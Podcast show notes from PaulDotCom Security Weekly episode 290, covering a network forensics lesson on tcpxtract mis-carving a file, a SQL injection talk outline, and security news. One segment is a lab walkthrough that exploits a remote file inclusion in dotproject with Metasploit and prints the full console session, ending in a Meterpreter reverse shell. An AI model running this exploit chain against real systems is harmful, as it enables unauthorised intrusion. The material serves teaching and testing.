Announcements & Shameless Plugs
PaulDotCom Security Weekly - Episode 290 for Thursday May 31st, 2012
- Register today for Offensive Countermeasures: Defensive Tactics That Actually Work at SANSFIRE July 7, 2012 - July 8, 2012 with the freewheeling, piano playing & swim suit modeling John Strand!
- Episode 300 of PaulDotCom Security Weekly will be recorded and streamed live on Friday August 31st in support of of a cure for Breast Cancer. We will broadcast live from 10am until 6PM Eastern time and the show will feature tech segments, round table discussions and special guests. Mark it on your calendars today!
Announcing Puzzle #10 of the Network Forensics Puzzle Contest: PaulDotCom Goes Off The Air! It’s been three weeks since the PaulDotCom crew went missing. Through extensive research and cyberstalking, millions of PDC fans gathered information relating to their disappearance and hired you to find them. You are the forensic investigator. You're given a packet capture and a snippet of a hard drive image. Can you solve the puzzle and find out what happened to the PaulDotCom crew? Winners will get fame, fortune, and prizes (to be announced)... or at least prizes. Enter the challenge and get more info at ForensicsContest.com.
Guest Technical Segment: AntiForensics and Bugs-- When Forensics Tools Lie to You with LMG Security
Watch out-- this puzzle includes antiforensics techniques. So, today we're going to do a short snippet of the Network Forensics class that shows what happens when your forensics tools lie to you, how you can tell, and how you can recover the evidence correctly.
Sometimes forensics tools lie to you because attackers are deliberately being stealthy. Other times, tools lie to you because it's just not possible for the authors to keep up with every possible version of every possible protocol in every possible network setup. This is especially the case with network protocols, because there are a huge number of protocols are there, lots of which are proprietary or just poorly documented. Network forensics tools can't interpret every protocol correctly all of the time. You have to expect that things will always be missing, and sometimes they'll just be wrong. Plan on double-checking important findings.
As an example, let's take a look at Puzzle #1, Ann's Bad AIM, which you can find on ForensicsContest.Com. In this puzzle, Anarchy-R-Us suspects that one of their employees, Ann Dercover, is really a secret agent working for their competitor. Ann has access to the company’s prize asset, the secret recipe. Security staff are worried that Ann may try to leak the company’s secret recipe. She sent instant messages over the network from her computer, 192.168.1.158 to a rogue laptop. Security staff provide you with a packet capture of the activity and ask for your help.
Opening the packet capture, you can see a file transfer in there. The screenshot below shows a TCP stream reassembled in Wireshark. AOL Instant Messenger (and compatible IM clients) use the OSCAR protocol for communication. Here we see an OSCAR file transfer (OFT). Notice the "OFT2" at the beginning of the TCP stream, for example. You can also see the filename of the file that was transferred-- recipe.docx. It's likely that we're looking for a .docx file (though remember, filenames aren't always accurate. Use the "file" command on Linux to find out what format a file really is).
Let's carve the transferred file out of this TCP stream. We're going to talk about this only at a high level here (for all the gory details, read chapter 4 of our "Network Forensics" book). A quick and easy way to extract files from TCP traffic is to use tcpxtract. Tcpxtract is a very cool tool by Nick Harbour. It works by looking for "magic numbers" that show up at the beginning of files. This is very similar to the way "foremost" carves files from hard drives, but tcpxtract first reassembles TCP streams. Below is an excerpt of tcpxtract's configuration file, which you can see is pretty similar to foremost's.
Remember that .docx files are actually ZIP archives. So, tcpxtract will carve them out as ZIP files. Here's an excerpt of the tcpxtract configuration file which relates to ZIP archives:
Now we run tcpxtract on the packet capture, evidence01.pcap:
You can see that tcpxtract carved out a LOT of ZIP files. It turns out that these results are a little misleading. Remember that tcpxtract just looks for the magic number, in this case PK\0x03\0x04. This value actually appears not once, but FOURTEEN times within the body of the transferred file. It appears once at the beginning, and then 13 more times throughout the file. That means that tcpxtract will carve the full file once, when it sees that magic number at the beginning, and then it carves out file fragments 13 more times. We'll ignore the extra file fragments.
For the moment, let's focus on the biggest file shown above, 00000023.zip. It's 12020 bytes in size. You can take the cryptographic checksums and save that file as recipe.docx. Voila! It will open and you can see the secret recipe.
Does that mean that the file was carved out correctly? No!! It's WRONG. The checksums of the file we just carved will NOT match the original files on a hard drive it was sent from. If you're trying to prove that a file you found in network traffic is the same as one you found on somebody's laptop, for example, this is a big problem!! How can you tell? Correlate. In network forensics, it's really important to correlate evidence from different sources. For example, when you carve an important file, check and make sure that the size of the file you carved matches the size actually specifed in the file transfer protocol.
Here's a screenshot of the OFT "Done" packet from Ann's Bad AIM, which was sent when the file transfer was complete. The highlighted bytes show the size of data transferred-- 0x2EE8, or 12,008 bytes.
So, the file we carved using tcpxtract was 12,020 bytes large, but the file that was transferred should only have been 12,008 bytes in size. What happened? It turns out that tcpxtract carved extra bytes at the end of the file that shouldn't have been there. The reason for this is really interesting! It happened because Ethernet frames have a minimum payload size of 46 bytes. However, this file transfer included two IP packets that were only 40 bytes in total length. To make up the difference, the network device driver padded each Ethernet frame's payload with 6 null bytes. Tcpxtract reassembled the TCP stream with 12 extra null bytes at the end, and then included them in the carved ZIP file that it carved out.
The moral: Correlate your findings using multiple sources whenever possible. For example, make sure the files you carve match the sizes and formats specified in the protocol that was used to transfer them. Forensics tools can give you incorrect answers as a result of antiforensics or just because they don't work properly with the protocols in your specific evidence file. When you have the resources, use more than one tool to double check your findings.
- Network Forensics: Tracking Hackers Through Cyberspace (Sherri Davidoff & Jonathan Ham) - For all the gory details, check out chapter 4 of the book: http://www.amazon.com/Network-Forensics-Tracking-Hackers-Cyberspace/dp/0132564718/
- "On Sending Files via OSCAR" (Jonathan Clark) http://www.cs.cmu.edu/~jhclark/aim/On%20Sending%20Files%20via%20OSCAR.odt
- Puzzle #1: Ann's Bad AIM http://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim and http://forensicscontest.com/2009/09/25/puzzle-1-solution-anns-bad-aim
Join us for the Network Forensics class at Black Hat, July 21-24! Taught by the authors themselves, this fast-paced class includes packet analysis, statistical flow record analysis, wireless forensics, intrusion detection and analysis, network tunneling, malware network behavior-all packed into a dense 4 days, with hands-on technical labs throughout the class. More info Also, we're puzzle writers by night, security consultants by day. Check out our company, LMG Security
Tech Segment: Allison Nixon
- Larry is teaching SANS SEC 617 on Wirelss Pwnage, check out Larry's very own dedicated page on the SANS web site for a complete list, Next up NYC @ Pace University in June!
- Larry will be delivering the Keynote at Hack3rcon^3 Doomsday Eve. Hackers and prepping, what could be better?
- How to do basic SQL Injection attacks by hand
- How they work
- The principles behind them
- How to interpret attacks in progress
- How to prevent it
SQL Injection Slide 1
- Bad user input turns good queries into evil
- Obligatory XKCD:
- A process sends unsanitized commands to another process
- Malicious commands run under the same permissions as the “tricked” parent process
- A concern for any setup where two separate programs pass commands between each other
- PHP + mySQL is the most common
- SQL injection is not limited to MySQL
- Oracle database
- Any other database
- Passing bad input is not limited to PHP
- Any script that goes between users and a DB
- We will focus on PHP + mySQL
- Best way to learn SQL injection is to learn SQL
- Exact syntax depends on the type of database
- Documentation is your friend
Tech Segment: Easy RFI Shell Using Metasploit
- Minor change in schedule - Episode 291 will be Friday June 8th, at 7PM ET. You can watch us live at http://pauldotcom.com/live or watch the recorded episodes on Ustream or Blip.tv
I've been loving the UltimateLamp distro for testing web applications. Its just so vulnerable you can smell it when you fire up the VM. I want to play around with some Metasploit payloads for PHP, so here it goes...
Step 1 - Find the vulnerability
Yea, okay, I know, I used Nessus. BUT, I only configured Nessus to scan for known vulnerabilities, and the scan found over 20 vulnerabilities in about 3 minutes. I found this gem in a web app called "dotproject":
Step 2 - Find the RFI injection point
Reviewing one of the resources from the Nessus output, I found this web page which listed all of the RFI injection points:
Step 3 - Exploit
Using Metasploit I deployed a PHP Meterpreter shell (which worked the first time) as follows:
msf > use exploit/unix/webapp/php_include msf exploit(php_include) > show options Module options (exploit/unix/webapp/php_include): Name Current Setting Required Description ---- --------------- -------- ----------- PATH / yes The base directory to prepend to the URL to try PHPRFIDB /opt/framework/msf3/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL PHPURI no The URI to request, with the include parameter changed to XXpathXX POSTDATA no The POST data to send, with the include parameter changed to XXpathXX Proxies no Use a proxy chain RHOST yes The target address RPORT 80 yes The target port SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Automatic msf exploit(php_include) > set PHPURI /dotproject/includes/db_connect.php?baseDir=XXpathXX PHPURI => /dotproject/includes/db_connect.php?baseDir=XXpathXX msf exploit(php_include) > set RHOST 192.168.208.138 RHOST => 192.168.208.138 msf exploit(php_include) > exploit [*] Started reverse handler on 192.168.208.131:4444 [*] Using URL: http://0.0.0.0:8080/C3xP8Q [*] Local IP: http://192.168.208.131:8080/C3xP8Q [*] PHP include server started. [*] Sending stage (39217 bytes) to 192.168.208.138 [*] Meterpreter session 1 opened (192.168.208.131:4444 -> 192.168.208.138:39166) at 2012-05-19 15:29:03 -0400 meterpreter > ls Listing: /var/www/dotproject/includes ===================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100664/rw-rw-r-- 22 fil 2006-05-13 06:22:15 -0400 .cvsignore 100664/rw-rw-r-- 62 fil 2006-05-13 06:22:15 -0400 .htaccess 100664/rw-rw-r-- 2348 fil 2006-05-13 06:22:15 -0400 config-dist.php 100644/rw-r--r-- 661 fil 2006-05-13 07:02:48 -0400 config.php 100664/rw-rw-r-- 3926 fil 2006-05-13 06:22:15 -0400 db_adodb.php 100664/rw-rw-r-- 9996 fil 2006-05-13 06:22:15 -0400 db_connect.php 100664/rw-rw-r-- 24236 fil 2006-05-13 06:22:15 -0400 gateway.pl 100664/rw-rw-r-- 44 fil 2006-05-13 06:22:15 -0400 index.html 100664/rw-rw-r-- 19270 fil 2006-05-13 06:22:15 -0400 main_functions.php 100664/rw-rw-r-- 3062 fil 2006-05-13 06:22:15 -0400 permissions.php 100664/rw-rw-r-- 2202 fil 2006-05-13 06:22:15 -0400 sendpass.php 100664/rw-rw-r-- 5545 fil 2006-05-13 06:22:15 -0400 session.php 100664/rw-rw-r-- 220 fil 2006-05-13 06:22:15 -0400 version.php meterpreter >
http://www.offensive-security.com/metasploit-unleashed/PHP_Meterpreter - Outstanding guide to Metasploit!
- DerbyCon Call for Papers and Ticket Registration is: available online. If you have not yet registered or submitted a talk, please do so now.
- Security BSides everywhere: Pittsburgh, Detroit, Cleveland, Las Vegas, more. http://www.securitybsides.com/ - We have 5 BSides tickets to give away! Listen to the instructions at the end of Episode 282 for complete details!
- Bogus story: no Chinese backdoor in military chip - What is the intent of a backdoor? Tough to say just from the code or the hardware itself. Sometimes you can detect who put it there, and almost always people say "it was the Chinese". The fact is this stuff happens, and likely people try to do it without being noticed.
- Adaptive User Interface Randomization As An Anti-Clickjacking Strategy - I think its funny to develop a user interface that moves click-points around, really messes up the users!
- From LOW to PWNED [12 Trace.axd] - Nice write-up from CG, will be looking for this vulnerability. Love this series of posts, keep them coming!
- Google's reCAPTCHA briefly cracked - I hate it when people find ways to beat CAPTCHAS, and I should state hate it when they don't notify the vendor. This leads to SPAM, we hate SPAM.
- Configuration Mistakes Make for Costly Security Gaps
- Concerns Raised About Time Taken to Detect Flame
- Flame Bait - [Larry] - A great rundown on the possible risk of the Flame trojan, and some good tin-foil-hat-brigade style theories. It really boils down to what is your risk, where did it come from, but most importantly, what does this mean for the future of malware?
- Backdoor Chips - [Larry] - Backdoors in "military" chips? Nothing like fuzzing JTAG to find undocumented features. One was found that allowed "unauthenticated" functionality to the chip. Ok, so unlikely that some manufacturer added functionality to a chip, ac changing silicon dies is VERY difficult. However these chips are FPGA - Field Programmable Gate Arrays, so conceivable that the software that sets up the chip could be changed…or someone accidentally left the bits on enabling debug output. Military chips? Hardly. Also, want to much with it? Gotta have hands on. Not like the JTAG read/write is network enabled, so if you want access to that cisco device, you need physical access. This may be an issue for military applications, such as drones, etc that are recovered by enemy combatants.
- Hole in your (Black) Armor - [Larry] - With a specific URL, you can reset the admin password to the device without prior authentication. Bu, it is just a NAS, Larry. Yeah, just a NAS, that you store all of your sensitive files (or backups!) that now I have admin access to, and can set the shares to readable to everyone, including me. No patch from Seagate ye, but who updates embedded devices anyways?
Jack's Stories of Fortitude
- Seven words you can't say on TV Er, I mean can't say on Social Media or DHS will watch you. We are all on yet another list.
- NASA SSL MiTM Evil Iranians attack NASA, using a "bad" SSL cert. Insert rants about "trusted" certs, which you should trust, the arguable value of SSL proxies, etc.
- Apple iOS hardening guide Yeah, the NSA did one of these, but this one is from Apple themselves. A potentially hopeful sign from the Kool-Aid Konspiracy folks.